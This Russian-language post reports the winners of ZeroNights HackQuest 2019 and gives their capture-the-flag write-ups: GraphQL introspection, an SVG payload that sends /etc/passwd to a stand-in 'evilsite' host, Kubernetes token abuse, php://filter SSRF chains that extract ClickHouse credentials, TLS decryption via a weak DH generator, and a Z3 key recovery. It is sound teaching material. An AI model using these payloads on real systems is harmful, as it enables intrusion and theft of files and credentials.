ZeroNights Hackquest 2019. Results & Writeups

в 9:17, , рубрики: ctf, hacking, hackquest, writeup, zeronights, информационная безопасность

Совсем недавно завершился ежегодный HackQuest, приуроченный к конференции ZeroNights. Как и в прошлые годы, участникам предстояло решить 7 различных заданий — по одному на сутки квеста. Задания, как всегда, помогли подготовить наши коммьюнити партнеры. Узнать, как же решались задания, и кто стал победителями хакквеста в этот раз, можно под катом.

image

Day 1. TOP SECRET

Победители
1 место 2 место
vladvis gotdaswag

Первое задание этого года подготовила команда отдела аудита Digital Security. Чтобы решить его, участникам нужно было пройти три этапа: получить доступ к содержимому внутреннего чата игрового портала, проэксплуатировать уязвимость в Discord-боте и использовать некорректную настройку прав в Kubernetes-кластере.

Решение задания первого дня (vladvis)

1-ый шаг: graphql

  • Изначально мы попадаем на веб приложение с js client-side игрой и рейтингом.
    ZeroNights Hackquest 2019. Results & Writeups - 2
  • Кроме статики к бэкэнду делается только 1 запрос:
    ZeroNights Hackquest 2019. Results & Writeups - 3
  • Получить список всех типов и их полей можно следующим запросом:
    {
    __schema {
      types
      {
        name
        fields
        {
          name
        }
      }
    }
    }
  • Видим поле comment, запрашиваем его в изначальном запросе и получаем ссылку на следующий этап.

2-ой шаг: Discord bot

  • На сервере нас встречает бот и создает нам отдельный канал
    ZeroNights Hackquest 2019. Results & Writeups - 4
  • Сразу видим намек на SSRF в gitea, но до этого я так и не дошел =(
  • Пробуем прочитать локальный файл:
    <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1"
     xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <script type="text/javascript">
    for (var i=0; trefs[i]; i++) {
      var xhr = new XMLHttpRequest();
      xhr.open("GET","/etc/passwd",false);
      xhr.send("");
      var xhr2 = new XMLHttpRequest();
      xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false);
      xhr2.send("");
    }
    </script>
    </svg>
  • Получаем /etc/passwd и видим 2 пользователей: worker, от имени которого рендерится svg и gitea
    worker:x:1000:1000::/home/worker:/bin/sh
    gitea:x:1001:1001::/home/gitea:/bin/sh
  • Этот шаг я прошел через unintended путь: в .bash_history у worker лежали пути к ssh-ключу и адресу сервера на следующий этап
    cd
    nano .ssh/connect_info 
    echo > .bash_history 
    exit
    cd 
    cd .ssh/
    chmod 755 id_rsa 
    ls -al
    cat id_rsa 
    exit

    3-ий шаг: kubernetes

  • На этот этап я попал, похоже, первым. .bash_history и ps были пустыми и из этого я сделал вывод, что для каждого ip создается изолированное окружение
    ZeroNights Hackquest 2019. Results & Writeups - 5
  • В mount был найден токен для kubernetes
    ZeroNights Hackquest 2019. Results & Writeups - 6
  • Поначалу было непонятно, куда девать токен, и я начал сканить сетку… и в какой-то момент начал ходить по соседям по облаку
  • После этого был выдан хинт, в каких подсетях сканить, и почти сразу был найден rest api kubernetes-а
  • К этому моменту я понял, что я не один на сервере, а пилить что-то, например, маскирующее cmdline не было желания, поэтому я решил сделать это легчебольнее и пробросить себе socks прокси через ssh
  • При помощи kubectl get pods был получен список контейнеров, и документация kubernetes подсказала, что можно использовать exec с таким же синтаксисом, что и у docker-а
  • Дальше были 1.5 часа страданий с socks прокси, через которую не поднимался websocket для exec. В итоге я пошел напрямую в kubectl через ssh
    ZeroNights Hackquest 2019. Results & Writeups - 7
  • На втором контейнере новый токен и у него уже был доступ к кластеру в соседнем namespace zn2 (изначально мы находимся в namespace zn1), из которого был виден redis
  • Вспоминаем доклад @paulaxe с прошлого Zeronights и получаем RCE, например, с помощью этого PoC-а
  • Получив очередной токен, можно вытащить флаг из kubernetes secrets
    ZeroNights Hackquest 2019. Results & Writeups - 8

Day 2. MICOSOFT LUNIX

Победители
1 место 2 место 3 место
torn Sin__ AV1ct0r
Также решили: demidov_al, gotdaswag, medidrdrider, groke_is_love_groke_is_life

Задание второго дня подготовили члены сообщества r0 Crew. Для решения необходимо сгенерировать ключ активации для образа Linux с модифицированным ядром.

Решение задания второго дня (torn)

Дано: файл jD74nd8_task2.iso, загрузочный ISO образ. По файлам внутри образа можно предположить, что это Linux: присутствует ядро boot/kernel.xz, начальный рамдиск boot/rootfs.xz и загрузчик boot/syslinux/.

Пробуем распаковать ядро и рамдиск. Рамдиск здесь — обычный cpio архив, сжатый xz. Ядро распаковываем, используя скрипт https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux. Также можно обратить внимание на информацию о ядре:

> file kernel.xz                   
kernel.xz: Linux kernel x86 boot executable bzImage, version 5.0.11 (billy@micosoft.com) #1 SMP Sat Aug 25 13:37:00 CEST 2019, RO-rootFS, swap_dev 0x2, Normal VGA

Попутно находим в iso образе основную задачу minimal/rootfs/bin/activator: все сводится к записи введенных данных электронной почты и ключа активации в устройство /dev/activate в формате $email|$key. В случае удачной проверки ключа, чтение из /dev/activate будет выдавать строку ACTIVATED, и активатор в данном случае запустит игру 2048.

Настало время глянуть на задачу в динамике. Для этого запускаем эмулятор в KVM:

> qemu-system-x86_64 -enable-kvm -drive format=raw,media=cdrom,readonly,file=jD74nd8_task2.iso

Linux стартует и сразу запускает /bin/activator из overlay. Это прописано в /etc/inittab. Чтоб долго не копаться в бинаре ядра, хотелось получить шелл и посмотреть, как минимум, на /proc и /sys. Самым простым для меня способом оказалось просто подпачить iso файл в месте, где расположен сам скрипт активатора. Вместо sleep 1 поставил /bin/sh, т.е. получал шелл после каждой попытки ввода серийника.

Итак шелл есть: смотрим, что /proc/kallsyms отсутствует, т.е. отсутствуют символы ядра. С ними, конечно же, было б гораздо быстрее, но ничего страшного. Ищем информацию об устройстве /dev/activator:

/ # ls -la /dev/activate
crw-------    1 0        0         252,   0 Oct 15 08:57 /dev/activate
/ # cat /proc/devices
Character devices:
...
252 activate
...

Block devices:
...

Из информации в /proc/devices видно, что это символьное (char) устройство, у которого major версия 252 и minor — 0.

Настало время найти в бинаре ядра функцию регистрации этого устройства, чтоб найти обработчик его операции write. Для этого нужно найти перекрестные ссылки на строку activate. Но такой строки в ядре нет, вероятно её как-то прячут.

В следующей попытке пробуем найти функции, отвечающие за регистрацию символьных устройств: cdev_add и register_chrdev. Это можно сделать по перекрестным ссылкам на /dev/console или на любое другое символьное устройство и взяв исходный код ядра (я брал версию 5.0.11, но не уверен, что версия указана верно). Посмотрев список устройств, которые регистрируются, не находим там устройство с major версией 252. Вероятно регистрация происходит не этими двумя функциями.

Попробуем поискать еще какие-то зацепки в динамике:

/ # ls -la /sys/dev/char/252:0
lrwxrwxrwx    1 0        0                0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate

Вот и зацепка — класс устройства EEy????I. Пробуем найти данную строку в бинаре и она там есть!

ZeroNights Hackquest 2019. Results & Writeups - 9

Хоть и перекрестных ссылок на неё не найдено, но рядом видны данные, похожие на строки. Если посмотреть код, который их использует, то видно, что это те искомые обработчики чтения и записи устройства activate, которые зашифрованы простым XOR.

Функция обработки операции чтения:

ZeroNights Hackquest 2019. Results & Writeups - 10

Функция обработки операции записи, она же проверка лицензии:

ZeroNights Hackquest 2019. Results & Writeups - 11

Беглый осмотр кода проверки активации показал, что легче всего просто поставить точку останова на адресе 0xFFFFFFFF811F094B и там забрать код активации, не особо вникая, что же там происходит. Для этого запускаем qemu с флагом -s. В этом случае qemu запускает gdb stub, который позволяет использовать любой gdb клиент. Проще и быстрее всего это делать в IDA Pro, если есть лицензия. Но никто не запрещает все сделать в консольном gdb.

Проделываем все, как описано в официальном туториале. Теперь нужно найти функцию обработки внутри уже запущенного ядра.

ZeroNights Hackquest 2019. Results & Writeups - 12

ZeroNights Hackquest 2019. Results & Writeups - 13

Так как ядро собрано с поддержкой KASLR, то адреса запущенного ядра сдвинуты на рандомное смещение, которое генерируется каждый запуск ядра. Вычисляем это смещение (берем адрес уникальной последовательности байт в коде отлаживаемого ядра и отнимаем от него адрес этой последовательности в бинаре) и, добавляя к адресу функции активации, находим её в памяти. Всё, теперь дело за малым. Поставить точку останова и забрать код.

ZeroNights Hackquest 2019. Results & Writeups - 14

ZeroNights Hackquest 2019. Results & Writeups - 15

ZeroNights Hackquest 2019. Results & Writeups - 16

Решение этого задания уже публиковалось на хабре одним из участников. Ознакомится с ним можно здесь.

Day 3. HOUSE OF BECHED

Победители
1 место
blackfan

Задание подготовил beched (DeteAct). Участников встречала непримечательная страница оплаты. Для решения было необходимо получить доступ к БД Clickhouse, воспользовавшись особенностью php-функции file_get_contents.

Решение задания третьего дня (blackfan)

Задание представляет собой страницу оплаты, где единственным интересным параметром был callback_url.

https://i.imgur.com/iX65TI3.png

Указываем свой сайт и ловим запрос:

http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id=

POST / HTTP/1.0
Host: attacker.tld
Connection: close
Content-Length: 21
Content-Type: application/json

amount=0&payment_id=0

HTTP-ответ отображается, только если сайт вернул alphanumeric строку. Примеры ответов:

{"result":"Success.","msg":"Response: testresponse"}

{"result":"Invalid status code.","msg":"Non-alphanumeric response."}

Пробуем в качестве callback_url data:,test и понимаем, что, скорее всего, это PHP.

http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id=

Используем php://filter для чтения локальных файлов и кодируем ответ с помощью convert.base64-encode, чтобы ответ соответствовал alphanumeric. Из-за символов +, / и = иногда приходится комбинировать несколько вызовов base64 для вывода ответа.

http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php
http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php

<?php
error_reporting(0);

/*
* DB configuration
*/

$config = [
    'host' => 'localhost',
    'port' 

Вывод ответа ограничен 200-ми байтами, но из фрагментов узнаем о наличии базы данных на localhost. Перебираем порты через callback_url и находим в блоге DeteAct свежую статью о инъекциях в ClickHouse, что соотносится со странным названием таска "HOUSE OF BECHED".

https://i.imgur.com/OBn22wi.png

ClickHouse имеет HTTP-интерфейс, позволяющий выполнять произвольные запросы, который очень удобно использовать в SSRF.

Читаем документацию, пробуем получить учетную запись из конфига.

http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=

<?xml version="1.0"?>
<yandex>
    <!-- Profiles of settings. -->
    <profiles>
        <!-- Default settibm

Опять мешает ограничение вывода, а, судя по стандартному файлу, нужное поле находится крайне далеко.

https://i.imgur.com/5Un6gfj.png

Вырезаем лишнее с помощью фильтра string.strip_tags.

http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=

Но длины вывода все равно не хватает до получения пароля. Добавляем компрессионный фильтр zlib.deflate.

http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=

И читаем локально в обратном порядке:

print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv'));

Получив пароль, мы можем отправлять запросы на ClickHouse следующим образом:

http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap

http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx'

Но так как изначально у нас отправляется POST, то необходимо обойти это с помощью перенаправления. И финальный запрос получился таким (на этом этапе я очень сильно затупил, так как из-за большой вложенности обработки параметров я неправильно кодировал спецсимволы и никак не мог выполнить запрос)

http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=

Ну а дальше достаточно просто получить данные из базы:

select name from system.tables
select name from system.columns where table='flag4zn'
select bechedflag from flag4zn

http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=

Day 4. ASR-EHD

Победители
1 место
AV1ct0r

Задание четвертого дня подготовил отдел исследований Digital Security. Основной задачей таска было показать, как неправильный выбор источника случайных чисел может повлиять на криптоалгоритм. В таске был реализован самописный генератор случайных приватных ключей для DH, основанный на LFSR. При получении достаточного колличества последовательных TLS-хендшейков с помощью публичных значений DH можно было восстановить начальное состояние LFSR и расшифровать весь трафик.

Решение задания четвертого дня (AV1ct0r)

Day 4 / ASR-EHD – WriteUp by AV1ct0r

Peter is a little bit paranoid: he always uses encrypted connections. To be sure algorithms are secure Peter uses his own client. He even gave us a traffic dump which was made while using his custom client. Is Peter's connection really secure?

https://hackquest.zeronights.org/downloads/task4/8Jdl3f_client.tar
https://hackquest.zeronights.org/downloads/task4/d8f3ND_dump.tar

  1. Открываем файлик client в IDA Pro и видим, что он умеет скачивать часть файла flag.jpg с сервера https://ssltest.a1exdandy.me:443/. Какую часть файла качать (с какого по какой байт) берется из командной строки.

    signed __int64 __fastcall main(int argc, char **argv, char **a3)
    {
    size_t v4; // rsi
    __int64 v5; // ST48_8
    int v6; // [rsp+10h] [rbp-450h]
    int v7; // [rsp+14h] [rbp-44Ch]
    __int64 v8; // [rsp+20h] [rbp-440h]
    __int64 v9; // [rsp+28h] [rbp-438h]
    __int64 v10; // [rsp+30h] [rbp-430h]
    __int64 v11; // [rsp+38h] [rbp-428h]
    __int64 v12; // [rsp+40h] [rbp-420h]
    char ptr; // [rsp+50h] [rbp-410h]
    unsigned __int64 v14; // [rsp+458h] [rbp-8h]
    
    v14 = __readfsqword(0x28u);
    if ( argc != 3 )
    return 0xFFFFFFFFLL;
    v6 = atoi(argv[1]);
    v7 = atoi(argv[2]);
    if ( v6 < 0 || v7 < 0 || v7 <= v6 )
    return 0xFFFFFFFFLL;
    v8 = 0LL;
    v9 = 0LL;
    v10 = 0LL;
    OPENSSL_init_ssl(0LL, 0LL);
    OPENSSL_init_crypto(2048LL, 0LL);
    v11 = ENGINE_get_default_DH(2048LL, 0LL);
    if ( v11 )
    {
    if ( (unsigned int)ENGINE_init(v11) )
    {
      v12 = ENGINE_get_DH(v11);
      if ( v12 )
      {
        v8 = DH_meth_dup(v12);
        if ( v8 )
        {
          if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) )
          {
            if ( (unsigned int)ENGINE_set_DH(v11, v8) )
            {
              v5 = TLSv1_2_client_method(v11, v8);
              v10 = SSL_CTX_new(v5);
              if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") )
              {
                v9 = BIO_new_ssl_connect(v10);
                BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443");
                if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 )
                {
                  BIO_ctrl(v9, 101LL, 0LL, 0LL);
                  BIO_printf(v9, "GET /flag.jpg HTTP/1.1n", argv);
                  BIO_printf(v9, "Host: ssltest.a1exdandy.men");
                  BIO_printf(v9, "Range: bytes=%d-%dnn", (unsigned int)v6, (unsigned int)v7);
                  v4 = (signed int)BIO_read(v9, &ptr, 1024LL);
                  fwrite(&ptr, v4, 1uLL, stdout);
                }
                else
                {
                  v4 = 1LL;
                  fwrite("Can't do connectn", 1uLL, 0x11uLL, stderr);
                }
              }
              else
              {
                v4 = 1LL;
                fwrite("Can't set cipher listn", 1uLL, 0x16uLL, stderr);
              }
            }
            else
            {
              v4 = 1LL;
              fwrite("Can't set DH methodsn", 1uLL, 0x15uLL, stderr);
            }
          }
          else
          {
            v4 = 1LL;
            fwrite("Can't set generate_key methodn", 1uLL, 0x1EuLL, stderr);
          }
        }
        else
        {
          v4 = 1LL;
          fwrite("Can't dup dh methn", 1uLL, 0x12uLL, stderr);
        }
      }
      else
      {
        v4 = 1LL;
        fwrite("Can't get DHn", 1uLL, 0xDuLL, stderr);
      }
    }
    else
    {
      v4 = 1LL;
      fwrite("Can't init enginen", 1uLL, 0x12uLL, stderr);
    }
    }
    else
    {
    v4 = 1LL;
    fwrite("Can't get DHn", 1uLL, 0xDuLL, stderr);
    }
    if ( v11 )
    {
    ENGINE_finish(v11, v4);
    ENGINE_free(v11);
    }
    if ( v8 )
    DH_meth_free(v8, v4);
    if ( v10 )
    SSL_CTX_free(v10, v4);
    if ( v9 )
    BIO_free_all(v9, v4);
    return 0LL;
    }

    Картинки с флагом на сервере не оказалось, зато в dump.pcap оказалась куча ssl-трафика, предположительно с кусками картинки. После быстрой проверки сервера на heartbleed (чтобы стырить приватный ключик для расшифровки трафика) было выяснено, что сервер не уязвим. Кроме того, в SSL сессиях согласно дампу трафика и клиенту, используется шифр DHE-RSA-AES128-SHA256, в котором RSA используется только для подписи, а обмен ключами происходит по схеме Диффи-Хеллмана (приватный RSA ключик сервера в таком режиме нам не поможет).

  2. Немного подирбастив сервер нашел файлик https://ssltest.a1exdandy.me/x, который является простеньким вредоносом, зашитый в него адрес админки — 0x82C780B2697A0002 (0x82C780B2:0x7a69 = 178.128.199.130:31337 ). При подключении к порту 31337, было выяснено, что сервер поддерживает 3 команды, некоторые из которых просят дополнительные аргументы

    nc 178.128.199.130 31337
    Yet another fucking heap task...
    Command: 1-3
    1 - Index: - Size:
    2 - Index:
    3 - Index: - Length:

    Но дальше ничего сделать не получилось с этим портом, и, скорее всего, это был отвлекающий таск.

  3. Посмотрев внимательно client, увидел, что в нем используется кастомизированный генератор секретов Диффи-Хеллмана:

    int __fastcall rnd_work(__int64 a1)
    {
    __int64 v1; // rsi
    unsigned int i; // [rsp+10h] [rbp-10h]
    
    rnd_read();
    BN_bin2bn(&RANDOM_512, 512LL, a1);
    BN_lshift1(a1, a1);
    v1 = (unsigned int)BITS_ind[0];               // BITS_ind        dd 4096, 4095, 4081, 4069, 0
    if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) )
    {
    for ( i = 0; i <= 4; ++i )
    {
      if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) )
      {
        v1 = (unsigned int)BITS_ind[i];
        BN_clear_bit(a1, v1);
      }
      else
      {
        v1 = (unsigned int)BITS_ind[i];
        BN_set_bit(a1, v1);
      }
    }
    }
    if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 )
    {
    printf("Err!", v1);
    exit(0);
    }
    BN_bn2binpad(a1, &RANDOM_512, 512LL);
    return rnd_write();
    }

    Изначально секрет (512 байт) читается из /dev/urandom и сохраняется в файл state. При каждом следующем запросе с секретом происходит вот такая магия:

    XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1
    CMP = 2**4096
    state *= 2
    if state > CMP:
    state ^= XOR

    Секрет как длинное число сдвигается на 1 бит влево, и если старший бит был 1, то число ксорится с константой из 5 ненулевых бит (XOR).

Посмотрев pcap, увидел, что параметры Диффи-Хеллмана, прилетающие от сервера, постоянны:

dh_g = 2
dh_p = 23390802492779255177134184370397517812355114045331724403582725611989933627587394016284977408323433231376977414043562662015562429926336130577589190521858667065571589328848570938970559584045953695918419788870353537714753160723913752100704810651892577111770521339703456940346854154884020022465250463024557548779126285008325304289256359545621253722069230995474108959373841908210698053332124205226084810339078397099642164575459958848963136672415274751614370255032937981786588147095719801999313216854607209552815027819569749983631505548263472693034066210847223343807999514384075548912593749054743887793047383825112467532259

А при каждом установлении соединения клиент посылает свою публичную часть секрета Диффи-Хеллмана. Сравнивая публичные части секретов соседних сессий, можно восстановить начальный секрет клиента, а затем все последующие секреты для каждой сессии:
Если старший бит секрета равен 0, то на следующей сессии секрет станет просто в 2 раза больше, а публичная часть возведется в квадрат по модулю p. Таким образом удалось восстановить начальный секрет (то, что прочиталось из /dev/urandom) по модулю p:

212030266574081313400816495535550771039880390539286135828101869037345869420205997453325815053364595553160004790759435995827592517178474188665111332189420650868610567156950459495593726196692754969821860322110444674367830706684288723400924718718744572072716445007789955072532338996543460287499773137785071615174311774659549109541904654568673143709587184128220277471318155757799759470829597214195494764332668485009525031739326801550115807698375007112649770412032760122054527000645191827995252649714951346955180619834783531787411998600610075175494746953236628125613177997145650859163985984159468674854699901927080143977813208682753148280937687469933353788992176066206254339449062166596095349440088429291135673308334245804375230115095159172312975679432750163246936266603077314220813042048063033927345613565227184333091534551071824033535159483541175958867122974738255966511008607723675431569961127852005437047813822454112416864211120323016008267853722731311026233323235121922969702016337164336853826598082855592007126727352041124911221048498141841625765390204460725231581416991152769176243658310857769293168120450725070030636638954553866903537931113666283836250525318798622872347839391197939468295124060629961250708172499966110406527347

а из него несложно посчитать секреты для всех остальных сессий.

И вот тут появились проблемы:
A) Wireshark не умеет расшифровывать SSL, зная секреты Диффи-Хеллмана, и готовых решений не нашлось. Надо самим посчитать общий секрет Диффи-Хеллмана (он же pre-master key сессии), а по нему с помощью большого велосипеда (не думал, что в SSL есть велосипеды) найти master key сессии. Дальше можно сделать SSLKEYLOG файл, в который записать client random (есть в каждой ssl сессии) и master key, указать его в настройках WireShark для расшифровки SSL и теоретически профит.

Но возникло еще несколько проблем:
B) PHP считал слишком медленно (не используются функции bcadd, bcpowmod…), решил переписать на питоне.
C) Формулу расчета master key по pre-master key в человеческом виде найти не удалось, сорцы ssl понимаются очень тяжело, заставить openssl вывести результаты промежуточных расчетов тоже не смог. В итоге использовал такой код, описание и какие-то RFC:
ZeroNights Hackquest 2019. Results & Writeups - 20

В итоге спустя полдня смог накодить такое (по мне, не обошлось без велосипедов):

for i in xrange(0, 4264):
  dh_secret = pow(srv_pubkeys[i], state, dh_p)
  dh_secret = hex(dh_secret)[2:-1]
  if len(dh_secret) % 2 :
    dh_secret = "0"+dh_secret
  while dh_secret[0:2] == "00":
    dh_secret = dh_secret[2:]
  dh_secret = dh_secret.decode("hex")
  seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex")
  A = seed
  master_key = ""
  for j in xrange(0, 2):
    A = hmac.new(dh_secret, A, hashlib.sha256).digest()
    master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest()
  master_key = master_key[0:48].encode("hex")
  print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key
  state *= 2
  if state > CMP:
    state ^= XOR

D) Чтобы выдирать различные client random, … из сессий Wireshark использовался экспорт в csv и поиск в сыром трафике того, что в csv попало как “…”.

E) Для расшифровки 4264 сессиий WireShark решил скушать много гигов оперативы (8 ему не хватило), но ничего, можно все запустить на мощном компьютере, а не на слабом ноуте. Однако при экспорте http-объектов (расшифрованных кусков картинки) WireShark может сохранить только первые 1000 файлов, а дальше у него нумерация заканчивается. В итоге пришлось разбивать pcap на 5 частей по 1000 tcp-сессий в каждом. В итоге получилась такая красивая картинка после склейки всех кусочков:

ZeroNights Hackquest 2019. Results & Writeups - 21

Все файлы, использованные победителем для решения задания, можно найти здесь.

Day 5. PROTECTED SHELL

Победители
1 место 2 место 3 место
vos Bartimaeous CLO
Также решили: Maxim Pronin, 0x3c3e, tinkerlock, demidov_al, x@secator, groke_in_the_sky, d3fl4t3

Задание подготовлено RuCTFE. Участникам дан обфусцированный исполняемый файл с рядом антиотладочных приёмов. Исполняемый файл является подобием SSH-клиента, который связан с заранее известным сервером. Задача — понять алгоритм работы этого файла, чтобы получить исполнение команд на сервере. Авторское решение предполагало обход антиотладки и разбор обфускации.

Примечательно, что самый быстрый участник решил задание оригинальным, отличным от запланированного автором способом, а после нашел ещё один обходной путь решения. Посмотреть, как он это сделал, можно под спойлером ниже.

Варианты решения задания пятого дня (vos)

Day 6. UNLOCK

Победители
1 место 2 место 3 место
gotdaswag medidrdrider sysenter

Задание шестого дня подготовила команда VolgaCTF. Дан исполняемый файл, реализующий кастомный криптоалгоритм. Задача — расшифровать данный в условии файл, зашифрованный с помощью этого алгоритма, не имея известного ключа.

Решение задания шестого дня (gotdaswag)

INTRO

Дан архив с двумя файлами locker и secret.png.enc.

Первый файл представляет из себя ELF для Linux x86-64, который принимает на вход файл и ключ шифрования, а второй — зашифрованное PNG изображение.

# ./locker
Required option 'input' missing
Usage: ./locker [options]

Options:
    -i, --input in.png  Input file path
    -o, --output out.png.enc
                        Output file path
    -k, --key 0004081516234200
                        Encryption key in hex
    -h, --help          Print this help menu

LOCKER

Проанализировав файл в IDA, находим алгоритм шифрования в функции project::main.

ZeroNights Hackquest 2019. Results & Writeups - 22

Изучив его, понимаем, что это блочный шифр (ECB), с размером блока 32 бита, размером ключа 64 бита и количеством раундов 77.

Версия на Python

def encrypt(p, k, rounds=77):
  for i in range(0, rounds):
    n  = (p >> 4) & 1
    n |= (p >> 26) & 0xE0
    n |= (p >> 22) & 0x10
    n |= (p >> 13) & 8
    n |= (p >> 7) & 4
    n |= (p >> 4) & 2

    x  = p ^ k
    x ^= p >> 12
    x ^= p >> 20
    x &= 1

    y = 1 << n
    y &= 0xBB880F0FC30F0000
    y >>= n
    y &= 1

    if x == y:
      p &= 0xFFFFFFFE
    else:
      p |= 1

    k = ror(k, 1, 64)
    p = ror(p, 1, 32)

  return p

SECRET KEY

Мы знаем, что зашифрованный файл является изображением в формате PNG.
Cоответственно, нам известна пара открытого текста-шифротекста в виде заголовка файла (он стандартный для PNG).
ZeroNights Hackquest 2019. Results & Writeups - 23

Попробуем пойти простым путём и воспользуемся SMT-решателем (Z3) для поиска ключа шифрования.
Для этого немного модифицируем код и подадим на вход пары открытого текста-шифротекста.

task6_key.py

import sys
import struct
from z3 import *

# PNG file signature (8 bytes) + IHDR chunk header (8 bytes)
PLAIN_TEXT = b'x89x50x4Ex47x0Dx0Ax1Ax0Ax00x00x00x0Dx49x48x44x52'
BLOCK_SIZE = 4

def encrypt(p, k, rounds=77):
  for i in range(0, rounds):
    n  = LShR(p, 4) & 1
    n |= LShR(p, 26) & 0xE0
    n |= LShR(p, 22) & 0x10
    n |= LShR(p, 13) & 8
    n |= LShR(p, 7) & 4
    n |= LShR(p, 4) & 2

    x  = k ^ ZeroExt(32, p)
    x ^= LShR(ZeroExt(32, p), 12)
    x ^= LShR(ZeroExt(32, p), 20)
    x &= 1

    y = 1 << ZeroExt(32, n)
    y &= 0xBB880F0FC30F0000
    y = LShR(y, ZeroExt(32, n))
    y &= 1

    p = If(x == y, p & 0xFFFFFFFE, p | 1)

    p = RotateRight(p, 1)
    k = RotateRight(k, 1)

  return p

def qword_le_to_be(v):
  pv = struct.pack('<Q', v)
  uv = struct.unpack('>Q', pv)
  return uv[0]

if len(sys.argv) < 2:
  sys.exit('no input file specified')

with open(sys.argv[1], 'rb') as encrypted_file:
  k = BitVec('k', 64)
  key = k
  solver = Solver()

  for i in range(0, len(PLAIN_TEXT), BLOCK_SIZE):
    # prepare plain text and cipher text pairs
    pt = struct.unpack('<L', PLAIN_TEXT[i:i + BLOCK_SIZE])[0]
    ct = struct.unpack('<L', encrypted_file.read(BLOCK_SIZE))[0]
    p = BitVecVal(pt, 32)
    e = BitVecVal(ct, 32)
    solver.add(encrypt(p, k) == e)

  print('solving ...')

  if solver.check() == sat:
    encryption_key = solver.model()[key].as_long()
    print('key: %016X' % qword_le_to_be(encryption_key))

Решение:

> python task6_key.py "secret.png.enc"
solving ...
key: AE34C511A8238BCC

UNLOCKER

Теперь мы знаем ключ и нам осталось реализовать процедуру расшифрования.
Для этого нам нужно немного поменять порядок действий в функции шифрования и дописать код для обработки всего файла.

task6_unlocker.py

import sys
import time
import struct
import binascii

BLOCK_SIZE = 4

ror = lambda val, r_bits, max_bits: 
  ((val & (2**max_bits-1)) >> r_bits%max_bits) | 
  (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

rol = lambda val, r_bits, max_bits: 
  (val << r_bits%max_bits) & (2**max_bits-1) | 
  ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

def decrypt(e, k, rounds=77):
  dk = ror(k, 13, 64)

  for i in range(0, rounds):
    dk = rol(dk, 1, 64)
    e  = rol(e, 1, 32)

    n  = (e >> 4) & 1
    n |= (e >> 26) & 0xE0
    n |= (e >> 22) & 0x10
    n |= (e >> 13) & 8
    n |= (e >> 7) & 4
    n |= (e >> 4) & 2

    x  = e ^ dk
    x ^= e >> 12
    x ^= e >> 20
    x &= 1

    y = 1 << n
    y &= 0xBB880F0FC30F0000
    y >>= n
    y &= 1

    if x == y:
      e &= 0xFFFFFFFE
    else:
      e |= 1

  return e

if len(sys.argv) < 2:
  sys.exit('no input file specified')
elif len(sys.argv) < 3:
  sys.exit('no output file specified')
elif len(sys.argv) < 4:
  sys.exit('no encryption key specified')

try:
  key = binascii.unhexlify(sys.argv[3])
  key = struct.unpack('<Q', key)[0]
except:
  sys.exit('non-hexadecimal encryption key')

print('unlocking ...')
start_time = time.time()

with open(sys.argv[1], 'rb') as ef:
  with open(sys.argv[2], 'wb') as df:
    while True:
      ct = ef.read(BLOCK_SIZE)
      if not ct:
        break
      ct = struct.unpack('<L', ct)[0]
      pt = decrypt(ct, key)
      pt = struct.pack('<L', pt)
      df.write(pt)

print('done, took %.3f seconds.' % (time.time() - start_time))

Запускаем скрипт, передав ему на вход зашифрованное изображение и найденный ключ.

> python task6_unlocker.py "secret.png.enc" "secret.png" "AE34C511A8238BCC"
unlocking ...
done, took 49.669 seconds.

secret.png

ZeroNights Hackquest 2019. Results & Writeups - 24

